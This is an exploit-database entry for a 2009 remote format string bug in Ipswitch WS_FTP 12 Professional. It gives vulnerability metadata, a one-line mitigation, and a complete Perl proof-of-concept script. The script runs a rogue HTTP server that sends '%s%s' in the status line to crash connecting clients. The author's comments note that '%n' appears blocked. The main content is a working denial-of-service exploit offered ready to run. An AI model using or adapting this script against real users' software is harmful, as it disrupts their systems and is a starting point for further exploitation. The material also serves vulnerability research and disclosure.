header-logo
Suggest Exploit
vendor:
WS_FTP Professional
by:
Jeremy Brown
7.5
CVSS
HIGH
Format String
134
CWE
Product Name: WS_FTP Professional
Affected Version From: WS_FTP 12 Professional
Affected Version To: WS_FTP 12 Professional
Patch Exists: YES
Related CWE: N/A
CPE: a:ipswitch:ws_ftp_professional:12
Metasploit: N/A
Other Scripts: N/A
Tags: N/A
CVSS Metrics: N/A
Nuclei References: N/A
Nuclei Metadata: N/A
Platforms Tested: None
2009

Ipswitch WS_FTP 12 Professional Remote Format String 0day PoC

This PoC exploits a format string vulnerability in Ipswitch WS_FTP 12 Professional. The vulnerability is found in the status code of the HTTP protocol, which can be exploited to cause a denial of service or potentially execute arbitrary code.

Mitigation:

Disable the %n format string specifier.
Source

Exploit-DB raw data:

#!/usr/bin/perl
# nocoolnameforawsftppoc.pl
# AKA
# Ipswitch WS_FTP 12 Professional Remote Format String 0day PoC
#
# Jeremy Brown [0xjbrown41@gmail.com//jbrownsec.blogspot.com//krakowlabs.com] 09.07.2009
#
# *********************************************************************************************************
# I really _hate_ releasing proof of concepts. ASCII gets itchy after a few months. And it has been over a
# year since a WS_FTP exploit/PoC has been on milw0rm (as far as I know) (!). Crazy right? This bug was
# found with Hzzp, yes WS_FTP parses HTTP too. Format string in the status code, bang bang. But the problem
# is we can't seem to be able to use %n, which I believe is disabled by default per Microsoft, making
# exploitation more difficult. Hrm. And where is a security contact for Ipswitch? I believe I did try to
# find a reasonable resource. Maybe Ipswitch should just fuzz their products with Hzzp? xD Happy Holidays!
# **********************************************************************************************************
# nocoolnameforawsftppoc.pl

use IO::Socket;

$port    = 80;
$payload = "HTTP/1.1 %s%s\r\n\r\n";

$serv = IO::Socket::INET->new(Proto=>'tcp', LocalPort=>$port, Listen=>1) or die "Error: listen($port)\n";

$cli = $serv->accept() or die "Error: accept()\n";

$cli->recv($buf, 512);
$cli->send($payload);

close($cli);
close($serv);

# milw0rm.com [2009-09-09]